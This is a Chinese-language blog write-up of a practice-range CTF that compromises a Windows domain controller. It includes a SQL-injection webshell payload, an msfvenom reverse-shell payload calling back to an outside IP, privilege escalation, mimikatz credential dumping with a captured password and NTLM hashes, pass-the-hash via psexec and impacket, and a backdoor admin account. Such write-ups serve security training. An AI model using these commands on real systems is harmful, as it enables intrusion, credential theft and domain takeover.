【CTF】msf和impacket联合拿域控内网渗透-拿域控

2021-09-26

前言

  • 掌控安全里面的靶场内网渗透,练练手!

内网渗透拿域控

环境:http://afsgr16-b1ferw.aqlab.cn/?id=1

1、进去一看,典型的sql注入

image-20210825220657141

2、测试了一下,可以爆库,也可以写一句话,并且还爆了绝对路径,直接拿shell,进入主题

①将shell.php写入网站根目录,payload

http://afsgr16-b1ferw.aqlab.cn/?id=1.1 union select 1,"<?php eval($_REQUEST[gylq]);?>"  into outfile 'C:/phpstudy/www/shell.php' 

image-20210825125125629

②蚁剑连接,发现权限很低

image-20210825125351402

kali机的提权和后渗透方法

提权我们可以传个木马用msf试试,获取按照系统补丁来搜payload提权等等,这里就用最快的方式,msf(注意:,下面讲关于kali中msf怎么内网穿透,方法太多了)

kali内网穿透用花生壳

拿到webshell之后,由于这个webshell是在公网的,无法访问我们内网的kali,所以我们得将kali中的某个端口映射到公网

下载花生壳

1、可以看到kali的内网ip为192.168.0.108

image-20210825144201133

2、接着设置一下花生壳的配置

image-20210825144304538

3、可以看到我们映射到公网的ip和端口

image-20210825145021884

4、接着使用msf制作访问我们公网ip和端口的后门

msfvenom -p windows/meterpreter/reverse_tcp LHOST=103.46.128.46 LPORT=26240 -f exe > payload.exe

image-20210825145308619

4、打开msf的监听

handler -x -H 192.168.0.108 -P 6666 -p windows/meterpreter/reverse_tcp
或者使用
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.108
set lport 6666
run

image-20210825145611133

5、执行webshell中的木马

image-20210825150817771

sessions 1 //进入会话

6、发现无法不是最高权限,getsystem/getprivs并未成功

image-20210825151006342

7、一般使用最多的是ms16_075的方式提权了,这个成功率高,试试

但是由于我们是内网,所以就必须准备两个msf窗口才能使用msf的提取功能

msf窗口1执行监听命令

image-20210825190615237

msf窗口2权限低的那个会话执行提权命令

run exploit/windows/local/ms16_075_reflection_juicy lhost=103.46.128.46 lport=26240

image-20210825152946894

接着监听的那个msf窗口1就获得了一个system权限的会话

image-20210825190550083

看路由器命令

route

image-20210825131602886

一般为了防止后门被人关掉,将其注入到其他程序中

ps 查看进程pid

image-20210825131738407

接着用migrate将我们后门注入到1816中,有效防止木马挂了

migrate 1816

image-20210825131844343

通过shell命令进入命令窗口

image-20210825132018668

内网信息收集

可以通过ifconfig看到内网ip

接着利用后渗透工具ping方法扫一下ip段,接着扫出三个ip存活

info post/multi/gather/ping_sweep //查看所需参数
run post/multi/gather/ping_sweep rhosts=10.0.1.4/24 //扫网段

image-20210825141018301

还有一种方法,arp扫ip段,用法差不多,这个扫的快一些比较推荐

run post/windows/gather/arp_scanner rhosts=10.0.1.4/24

image-20210825141236281

这是利用msf自带工具扫描,接下来再演示使用nmap扫一下看看

首先添加一个路由如下命令

run get_local_subnets //查看网段
run autoroute -s 10.0.1.0/24
run autoroute -p //查看已添加的路由
background //保存session返回msf

image-20210825190957026

接着开启socks4a服务,使用msf的辅助模块

use auxiliary/server/socks_proxy
set VERSION 4a //设置为socks4a
run

image-20210825135235850

接着设置/etc/proxychains.conf 中的内容改为下面展示截图,kali自带的代理工具

vim /etc/proxychains.conf 

image-20210825135313167

接着我们就可以利用proxychains4来进行连接3389端口,和进行内网ip段扫描,使用nmap扫描其内网ip及其端口等,但是扫的真的慢是我网太卡了么。

proxychains4 nmap -sT -Pn -p 22,80,445,3306,3389 10.0.1.0/24 --open

image-20210825162331493

看到好多445端口,这里其实可以用永恒之蓝的

当然,也可以选择不用nmap扫描端口,我们可以用msf的模块扫描端口

use auxiliary/scanner/portscan/tcp 
set rhosts 10.0.1.6

image-20210826122250324

kali机用kiwi抓取密码

也可以直接抓取管理员密码

msf提供一些后渗透的模块

load -l 来查看有哪些模块

image-20210825132220021

其实kiwi就是mimikatz就是换了个名在这里,然后加载kiwi

image-20210825132534386

查看当前kiwi的命令用help

help

image-20210826164747221

对10.0.1.4机子进行抓密码,接着执行下面命令,就可以获取管理员密码,这个是对登陆过的账号和密码进行抓取

kiwi_cmd privilege::debug
kiwi_cmd sekurlsa::logonpasswords

image-20210825155147593

获得密码
u:administrator
p:woshifengge1.

kali机hash传递得到会话

看到445端口就可以尝试hash传递,在不需要密码的情况下使用,发现10.0.1.6-10.0.1.8可以被利用

hashdump可获取hash值,得是64位系统权限才可执行

hashdump 
或者是 
run post/windows/gather/hashdump
或者是
run  post/windows/gather/smart_hashdump
以上都可以获取hash值

background 返回

image-20210825204025897

Administrator:500:aad3b435b51404eeaad3b435b51404ee:4d1de63584701c85b8b9eccf5243ef83:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
test:1009:aad3b435b51404eeaad3b435b51404ee:77be122bef1c2d43f67721c95114f46b:::

通过网段知道6-8有445可以利用smb的hash传递连接10.0.1.8这台机子,因为一般情况几台机子的密码都相同。

use exploit/windows/smb/psexec
set payload windows/meterpreter/bind_tcp 
//正向连接
set SMBUser Administrator
set SMBPass aad3b435b51404eeaad3b435b51404ee:4d1de63584701c85b8b9eccf5243ef83  #hashdump获取的hash值进行

image-20210825211954287

image-20210826122139082

这里发现10.0.1.8这台机子存在域控,dns一般是和域控绑定在一个服务器上的

shell
ipconfig /all 

image-20210826111519161

shell查看域的命令

shell中命令使用查看是否存在域的方法

这里明显A1这台机子处于域中

1、查看域中计算机

net view //查看域中的计算机

image-20210826123626763

net view /domain //查看域

image-20210826123754506

根据ipconfig /all 可以知道域控主机的ip是10.0.1.6

hash传递并不能登陆进去

2、查看域中的计算机

就一台A1,这里我们得通过A1去获得域控

net view /domain:ZKAQ

image-20210826124241672

3、ping计算机名可以得到IP

ping A1

image-20210826152201980

ping zkaq.cn

image-20210826152226030

4、获得所有域的用户列表,有一个krbtgt就是域用户

net user /domain

image-20210826152412178

5、获取域用户组信息

net group /domain

image-20210826152604552

6、获取当前域管理员信息

net group "domain admins" /domain

image-20210826152743124

7、查看域时间及域服务器的名字

net time /domain

image-20210826152822253

通过域的信息收集得到DC.zkaq.cn 10.0.1.6这个就是域控

拓展,导入kiwi的命令使用

image-20210826154025355

1、msv列出NTLM

kiwi_cmd sekurlsa::msv

image-20210826154258459

2、kerberos抓密码,发现全部加密了

kiwi_cmd sekurlsa::kerberos

image-20210826154520844

3、也可以用creds_all抓取密码,但也明显加密

creds_all

Username       Domain  NTLM                          
--------       ------  ----  
A1$            ZKAQ    3bf63ae494aee3a74fa90a41b9459df9  
Administrator  ZKAQ    61465a991b168727b65b3644aab823cd 
Administrator  A1      4d1de63584701c85b8b9eccf5243ef83 

Impacket实现域控NTML的hash传递

这里发现密码是无法获取的,因为NTLM是密文,我们可以使用hash传递,不过这里得使用Impacket的包

首先我们要先去GitHub下载源码,或者直接使用

git clone https://github.com/SecureAuthCorp/impacket.git

然后解压缩,进入impacket

cd impacket/

然后运行

python setup.py install

工具都在这个目录里impacket/examples

cd impacket/examples

image-20210826181929813

接着我们使用smbexec.py这个模块,用上面的ntml值hash传递登陆域控机子

proxychains4 python3 smbexec.py -hashes :61465a991b168727b65b3644aab823cd ZKAQ/Administrator@10.0.1.6

成功拿下域控的超级管理员权限

image-20210826182104275

接下来是基础操作添加超管账号,然后登陆域控

net user gylq ********** /add #密码打长的,2008有限制,密码不能太简单
net localgroup administrators gylq /add #添加超管

image-20210826182456730

直接代理登陆域控10.0.1.6就报错,这是域控机的守护机制

image-20210826184827868

需要使用他域内的机子去登陆,我们先登陆10.0.1.8,再登陆域控

远程3389登陆域控

也可以用直接用抓取的密码来代理登陆3389的端口等,只是演示一下

如果对方没有开启远程连接,可以使用msf自带命令启动

run getgui -e

先登陆10.0.1.4,才发现这个不是域内机子,得去登陆10.0.1.8

image-20210825213850565

proxychains4 rdesktop -u administrator -p woshifengge1. 10.0.1.4

image-20210825155348203

也可以用代理直接连接10.0.1.8,来进行确定

proxychains4 rdesktop -u administrator -p woshifengge1. 10.0.1.8 

image-20210826184255820

接着用10.0.1.8作为跳板登陆10.0.1.6,即域控机子

image-20210826185051021

成功登陆域控

image-20210826185312074

总结:这是kali中使用msf和impacket联合拿域控

我的个人博客

孤桜懶契:http://gylq.gitee.io